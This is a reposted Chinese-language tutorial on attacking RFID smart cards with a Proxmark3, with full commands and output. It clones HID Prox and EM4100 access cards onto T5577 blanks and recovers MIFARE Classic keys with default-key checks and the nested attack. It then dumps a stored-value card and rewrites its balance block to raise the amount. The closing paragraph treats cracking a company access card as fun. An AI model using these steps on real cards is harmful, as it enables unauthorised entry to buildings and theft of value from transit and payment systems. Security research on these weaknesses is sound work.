智能卡破解入門二三事(轉載)


智能卡破解入門二三事(轉載)


隨著智能設備NFC功能的普及,用RFID卡支付現金的模式也越加流行。現在的非接觸式卡片(包括但不限於社保卡、飯卡、交通卡、門禁卡等)都是使用的RFID技術。

這麼看來射頻識別技術(RFID)是一個應用相當廣泛的技術,智能卡通常會被做成小鑰匙扣、卡片以及貼紙的樣子。你可以在很多不同的系統設備中看到它出現的影子,而且往往都是與取款以及門禁系統有關。我對無線技術十分感興趣,尤其對射頻識別技術系統感興趣,所以當我研究HID iClass系統時,我就入手了一個proxmark3。

proxmark3

Proxmark3是由Jonathan Westhues設計開發的開源硬件,其主要用途是實現RFID的嗅探、讀取以及克隆等等操作。Proxmark3主要是針對RFID而開發的工具,雖然也有一些其它的工具,但Proxmark3屬於主流工具。它可以嗅探、模擬以及讀取多種不同種類型的RFID,同時它還有一個官方社區,這裡有不少同樣的愛好者在裡面學習交流。


智能卡破解入門二三事(轉載)


購買Proxmark

在Proxmark官網上已經列出了一些供應商,你可以在裡面選擇一個供應商進行購買。我購買了Proxmark RDV2,它雖不是開源版本,但卻是在初始版本的改進版。值得注意的是,我購買的版本更小巧,同時可以用電池對設備供電,支持MMCX,而非USB接口。


智能卡破解入門二三事(轉載)


當然你也可以在不同的網站購買設備,你可以去美國網站Rysc Corp上購買,或就近在香港購買,但需要248美元,如果Rysc Corp上購買則需要299美元(不含運費)。而實際上我在購買Proxmark RDV2基本上也就需要212.00美元,美國運送費用為36.30美元(隨運送距離不同費用也會越高),合計為248.30美元。

如果你仔細研究會發現,通過AliExpress網站購買,可以省下一大筆錢,花費在190美元(包郵),就性價比來說,甚至比“Proxmark 3 Easy”更便宜。


智能卡破解入門二三事(轉載)


PM3 Easy是Proxmark系列中相對較便宜的版本,售價約為100美元,但卻閹割了一些功能,這個版本僅針對中國國內市場的版本,因此刪除了一些功能,刪掉的功能如下:

AT91SAM7S256(內存256kb)

移除鋰電池管理和插座模塊

閹割了一些電子元器件,如繼電器和信號放大器

可使用不同的天線連接功能

想了解更多相關內容可以訪問Proxmark官方論壇

總的來說,Proxmark 3的原始版本設計已經過時,你應該使用新版本的硬件設計。

Proxmark 3配置

在硬件方面,根據你具體使用Proxmark 3(以下簡稱PM3)型號的不同,配置方式也大不相同。原始版本PM3外接USB天線,你可以隨意插拔,但在RDV2上就不能這樣操作,首先你必須要連接MMCX,之後才可以使用RDV2,就相當於你需要將這一塊加入主體,即將天線模塊安裝進主板中。我沒有這樣做,而是用膠將MMCX以及天線粘黏到板子上。

完成上部分操作之後,你就可以按照PM3說明文檔進行配置固件,據我瞭解可知,Proxmarks很它使用相同的固件,因此在軟件配置及操作上不會有太大區別。

我下面的配置並沒有涉及完整的軟件配置,我做到的也僅僅是說明中的一部分。在某些時候,出於性能上的考慮,PM3會將USB接口轉化為串行接口,同時使用串行接口可以解決在虛擬機中運行問題。

如果你決定在虛擬機進行操作,那麼在Linux會上運行會比Windows更好一些,這一點上我不會做出太多說明,但我在後面文章中使用PM3用戶界面時,明顯效果更好一些。我在虛擬機中安裝Windows 7,或可將GUI(Linux)作為PM3用戶界面。總的來說,燒寫PM3固件可能是一個煩人的過程,但你真的需要做那麼一兩次。

RFID技術

在美國有許多常見的RFID認證技術,我下面列舉在日常生活參見的四個:

HID iClass(13.56 MHz)

HID Prox 卡(125 kHz)

EM4100x卡(125 kHz)

MIFARE Classic(13.56 MHz)

我將詳述最後三部分,同時我在下文也會介紹如何讀/寫iClass卡。

對於一些不清楚的RFID 電子標籤以及RFID卡,我們將嘗試克隆/修改每個標籤的內容。首先我們需要弄清楚每張卡片背後的技術是什麼。 一般來說,您可以蒐集序列號,製造商信息和數據表單信息,然後通過網絡查詢研究這些信息。PM3可以可以使用指令 lf search、hf search查詢,這兩個命令將分別在低頻(125 kHz)和高頻(13.56 MHz)範圍內搜索可用電子標籤。

HID ProxCard

我們來看看更受歡迎的HID ProxCard


智能卡破解入門二三事(轉載)


在卡的正面有一些數字以及單詞(HID Proximity),如果你去網上搜索,你可以發現這是一張HID Prox 卡,可以通過Proxmark指令克隆一張卡。

我們可以使用lf search指令搜索前文提到的電子標籤

proxmark3> lf search 
#db# DownloadFPGA(len: 42096)
Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binary
if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
HID Prox TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132
Valid HID Prox ID Found!

我們很清楚這是一張Prox 卡,如果需要將當前卡系統從 HID Prox 升級到 HID iCLASS 憑證,就需要特殊指令,我們現在已經知道標籤ID(2004263f88),但我可以輸入lf hid fskdemod指令讀取智能卡(按下PM3上的按鈕停止掃描)

proxmark3> lf hid fskdemod 
#db# TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132
#db# Stopped

該ID標籤(19)以及卡ID(8132)的編碼,你可以在線使用韋根協議(26位)計算器檢查一下。這就意味著你需要了解數據並克隆到卡上(寫入到卡本身)。

大多數低頻電子標籤沒有任何複雜的認證方案或任何防止重放攻擊的保護,所以掃描現有的智能卡,並克隆一張,並不是一件難事。使用高功率讀卡器,可以在距離較遠的位置竊取RFID電子標籤。

我現在已經知道標籤ID,現在需要一張空白的RFID卡,我們可以克隆標籤ID。最好是t5577卡,它可以複製多種低頻智能卡,包括這裡討論的兩個(HID Prox 卡,EM41000卡)。


智能卡破解入門二三事(轉載)


我已經瞭解到標籤ID,那麼就可以很輕鬆的克隆一張卡

proxmark3> lf hid clone 2004263f88 
Cloning tag with ID 2004263f88
#db# DONE!

現在T5577卡電子標籤應該與被克隆卡標籤一致,成功了!!

除了讀寫操作之外,PM3還能夠模擬RFID電子標籤,但可能沒有你想象的那麼直觀,你需要將計算機連接到PM3上,並執行一些指令,這對滲透測試者有幫助,但讀寫操作適用於絕大多數使用者。

EM4100

EM4100卡不像HID Prox 卡那樣常見,但不代表它不會出現,PM3功能同樣適用於它。


智能卡破解入門二三事(轉載)


我們繼續使用lf搜索命令

proxmark3> lf search 
#db# DownloadFPGA(len: 42096)
Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1
NOTE: some demods output possible binary
if it finds something that looks like a tag
False Positives ARE possible
Checking for known tags:
EM410x pattern found:
EM TAG ID : 8800180E55
Unique TAG ID : 11001870AA
Possible de-scramble patterns
HoneyWell IdentKey {
DEZ 8 : 01576533
DEZ 10 : 0001576533
DEZ 5.5 : 00024.03669
DEZ 3.5A : 136.03669
DEZ 3.5B : 000.03669
DEZ 3.5C : 024.03669
DEZ 14/IK2 : 00584117128789
DEZ 15/IK3 : 000073016045738
DEZ 20/ZK : 01010000010807001010
}
Other : 03669_024_01576533
Pattern Paxton : 2284604501 [0x882C4C55]
Pattern 1 : 4457436 [0x4403DC]
Pattern Sebury : 3669 24 1576533 [0xE55 0x18 0x180E55]
Valid EM410x ID Found!

這是一張EM4100卡,我可以使用更多的EM4100 RFID指令,讀取標籤ID

proxmark3> lf em4x em410xdemod 1
#db# DownloadFPGA(len: 42096)
#db# EM TAG ID: 8800180e55 - (03669_024_01576533)

獲取標籤ID之後,寫入到一張T5577卡中

proxmark3> lf em4x em410xwrite 8800180e55 1 
Writing T55x7 tag with UID 0x8800180e55 (clock rate: 64)
#db# Started writing T55x7 tag ...
#db# Clock rate: 64
#db# Tag T55x7 written with 0xffc62000e20ea94e

大多數低頻RFID電子標籤破解適用於剛入門的新手,你僅需要了解讀/寫/克隆/仿真的玩法。

接下來,我們將看看一張更復雜但最終被破解的智能卡,MIFARE Classic協議的NFC卡(以下簡稱MIFARE卡)。

MIFARE Classic

NFCA協議是兼容MifareClassic 協議的, 我們可以通過NfcA在android的相關類來處理給予MifareClassic 的RFID卡。MIFARE 卡應用很廣泛,它應用的領域也大不相同,如公交卡、乾洗店洗衣卡、身份證,很不幸的一點就是,這樣的卡也會被破解。

一般來說,給予MifareClassic的射頻卡,一般內存大小有3種:

1K: 16個分區(sector),每個分區4個塊(block),每個塊(block) 16個byte數據

2K: 32個分區,每個分區4個塊(block),每個塊(block) 16個byte數據

4K:64個分區,每個分區4個塊(block),每個塊(block) 16個byte數據

對於所有基於MifareClassic的卡來說,每個區最後一個塊叫Trailer,16個byte, 主要來存放讀寫該區的key,可以有A,B兩個KEY,每個key長6byte,默認的key一般是FF 或 0,最後一個塊的內存結構如下:

Block 0 Data 16bytes

Block 1 Data 16 bytes

Block 2 Data 16 bytes

Block 3 Trailer 16 bytes

Trailer:

Key A: 6 bytes

Access Conditions: 4 bytes

Key B: 6 bytes

所以在寫卡的內存的時候,一般不能寫每個sector的最後一個block,除非你有要修改KEY和訪問權限的需求。如果KEY A 被你不小心修改掉了,而你不知道修改成什麼,那與之對應的那個sector你就沒有辦法訪問了。因為在MifareClassic中,如果你要讀取數據,那麼必須要有這個數據地址所在的sector的權限,這個權限就是這個sector的trailer的keyA或KEY B。下面我們將使用高頻天線來讀取高頻MIFARE卡。


智能卡破解入門二三事(轉載)


我開始使用hf指令搜索並識別MIFARE卡


智能卡破解入門二三事(轉載)


proxmark3> hf search 
#db# DownloadFPGA(len: 42096)
UID : bc 4e a5 35
ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1

proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NO
Valid ISO14443A Tag Found - Quitting Search

不幸的是,MIFARE卡不像之前的低頻卡克隆那樣容易,它利用簡單的認證方式,阻止我們克隆UID。雖然我們可以從卡中讀取某些塊,但是由於“認證錯誤”,其它塊並不可用:

成功讀取

proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF 
--block no:0, key type:A, key:ff ff ff ff ff ff
#db# READ BLOCK FINISHED
isOk:01 data:01 02 03 04 04 08 04 00 00 00 00 00 00 00 00 00

失敗讀取

proxmark3> hf mf rdbl 5 A FFFFFFFFFFFF 
--block no:5, key type:A, key:ff ff ff ff ff ff
#db# Authentication failed. Card timeout.
#db# Auth error
#db# READ BLOCK FINISHED
isOk:00

起初發現這個問題,我覺得很奇怪,但很快發現前文提到的key,這是我在網上找到的資料。MIFARE Classic 1K射頻卡有1024字節可儲存數據,同時分為分為16個扇區,每個扇區由兩個不同的key保護(前文說明的A,B),出於某種原因,一些MIFARE卡僅使用默認key,這樣就造成可以利用應用程序測試key,並針對卡進行測試。

PM3具有“測試key(塊)”指令,它將測試我們的默認key。

proxmark3> hf mf chk * ? 
No key specified, trying default keys
chk default key[ 0] ffffffffffff
chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5
chk default key[ 3] b0b1b2b3b4b5
chk default key[ 4] aabbccddeeff
chk default key[ 5] 4d3a99c351dd
chk default key[ 6] 1a982c7e459a
chk default key[ 7] d3f7d3f7d3f7
chk default key[ 8] 714c5c886e97
chk default key[ 9] 587ee5f9350f
chk default key[10] a0478cc39091
chk default key[11] 533cb6c723f6
chk default key[12] 8fd0a4f256e9
--sector: 0, block: 3, key type:A, key count:13
Found valid key:[ffffffffffff]
...omitted for brevity...
--sector:15, block: 63, key type:B, key count:13
Found valid key:[ffffffffffff]

我可以使用默認key(ffffffffffff)讀取大多數塊,但有些沒有包含在內。我可以使用“Nested攻擊”,我們可以使用我們的一個可用的key來識別其它塊的key。

proxmark3> hf mf nested 1 0 A ffffffffffff d 
Testing known keys. Sector count=16
nested...
-----------------------------------------------
uid:bc4ea535 trgbl=4 trgkey=0
Found valid key:080808080808
-----------------------------------------------
uid:bc4ea535 trgbl=8 trgkey=0
Found valid key:080808080808
Time in nested: 7.832 (3.916 sec per key)
-----------------------------------------------
Iterations count: 2
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| 080808080808 | 1 | ffffffffffff | 1 |
|002| 080808080808 | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |

|005| ffffffffffff | 1 | ffffffffffff | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ffffffffffff | 1 | ffffffffffff | 1 |
|011| ffffffffffff | 1 | ffffffffffff | 1 |
|012| ffffffffffff | 1 | ffffffffffff | 1 |
|013| ffffffffffff | 1 | ffffffffffff | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...

注意:在早期Nested 攻擊命令中,輸入d(參數)將key轉儲到dumpkeys.bin文件,才能夠保證繼續使用 MIFARE卡其它指令。現在我們有一個新key,080808080808。該key允許我們讀取隱藏塊。

proxmark3> hf mf rdbl 5 A 080808080808 
--block no:5, key type:A, key:08 08 08 08 08 08
#db# READ BLOCK FINISHED
isOk:01 data:00 0a 00 00 ff f5 ff ff 00 0a 00 00 05 fa 05 fa

dumpkeys.bin文件已經準備好,我們可以轉儲整個卡的數據,並將其寫入到空白的MIFARE卡上。

proxmark3> hf mf dump 1 
|-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
...omitted for brevity...
#db# READ BLOCK FINISHED
|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|
#db# READ BLOCK FINISHED
Successfully read block 0 of sector 0.
...omitted for brevity...
Successfully read block 3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin

藉助dumpdata.bin文件,我們可以將此卡的內容還原到另一張卡上,輸入命令:hf mf restore 1,然而,克隆一張MIFARE卡效率還是很低(totem pole),使用新key,我就可以讀寫一張空白卡,這種卡通常被作為車票卡,一些人可能會想到是否可以修改裡面的金額。先來看看卡中部分轉存數據

bc4e a535 6288 0400 8500 b42e f0bb 6aa8 
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
ffff ffff ffff ff07 8069 ffff ffff ffff
4f54 4f54 0050 0082 0136 000b 0000 0000
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
0000 0000 0101 0000 0000 0001 0100 0000

得到的數據不能解析,再次重複以上步驟,然後查看數據

bc4e a535 6288 0400 8500 b42e f0bb 6aa8 
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
ffff ffff ffff ff07 8069 ffff ffff ffff
4f54 4f54 0050 0082 0136 000b 0000 0000
3205 0000 cdfa ffff 3205 0000 05fa 05fa
0000 0000 0101 0000 0000 0001 0100 0000

其中一行數據由

4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa

變為

3205 0000 cdfa ffff 3205 0000 05fa 05fa

當時雖然沒有立刻看明白這行數據意思,但已經明白卡上肯定存在一個可以變化的數值,最簡單的一個假設是,卡正在存儲金額,然後扣去交易額。我們的起始價值(7.75),一個項目的開支成本(2.25)和差值(5.50)。

我們可以將這些數據轉為16進制,為了簡化搜索,我們只需75,將其轉換為十六進制(0x4b),然後搜索第一個轉儲數據值:

4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa

這樣我就發現了卡存儲金額的部分了,特別是考慮到以下字節0×07。因此,我們應該能夠通過修改這些字節來增加我們卡的金額。

你可以不需要理解字節的詳細含義,它們並不重複,在前面兩次轉儲數據,可以看出沒有什麼規律,這一點上需要小心謹慎,用ffff(前文)替換我們的金額數值,僅需要重新將獲取的數據寫入智能卡中。

注意:有人指出其中兩個數值b4f8和4b07加起來是ffff,其實這是校驗和的數值,讀卡者可以利用這個來確認卡的金額是否在交易完成後更新。

我已經將卡中數值更改到17.50,我們可以採取新的轉儲數據並保存第5塊的結果(存儲值)。

Block 0: bc4e a535 6288 0400 8500 b42e f0bb 6aa8 
Block 1: 0000 0000 0000 0000 0000 0000 0000 0000
Block 2: 0000 0000 0000 0000 0000 0000 0000 0000
Block 3: ffff ffff ffff ff07 8069 ffff ffff ffff
Block 4: 4f54 4f54 0050 0082 0136 000b 0000 0000
Block 5: 3211 0000 cdee ffff 3211 0000 05fa 05fa
Block 6: 0000 0000 0101 0000 0000 0001 0100 0000

現在我們可以無限制將卡中數值更改到17.50。

寫入(塊)

proxmark3> hf mf wrbl 5 A 080808080808 32110000cdeeffff3211000005fa05fa 
--block no:5, key type:A, key:08 08 08 08 08 08
--data: 32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa
#db# WRITE BLOCK FINISHED
isOk:01

讀出(塊)

proxmark3> hf mf rdbl 5 A 080808080808 
--block no:5, key type:A, key:08 08 08 08 08 08
#db# READ BLOCK FINISHED
isOk:01 data:32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa

即使沒有使用默認key,我們也可以嗅探真實的讀卡器和卡之間的通信協議,並獲取關鍵key。只要我們知道一個現有的key,我們就可以利用前文提到的nested攻擊識別其它key來獲取對該卡的讀/寫訪問。

結論

通過從事多年RFID卡系統的安全研究,我得出一個結論,Proxmark 3可以說是研究RFID卡系統的最佳工具,並在研究過程中可以學習到很多相關知識。如果你有興趣克隆RFID卡並瞭解這些系統的工作原理,我非常建議您選擇ProxMark 3和T5577卡。當然你也可以將公司的門禁卡破解之後做成一把屬於自己的小鑰匙,這件事看起來也是比較有趣的。


分享到:


相關文章: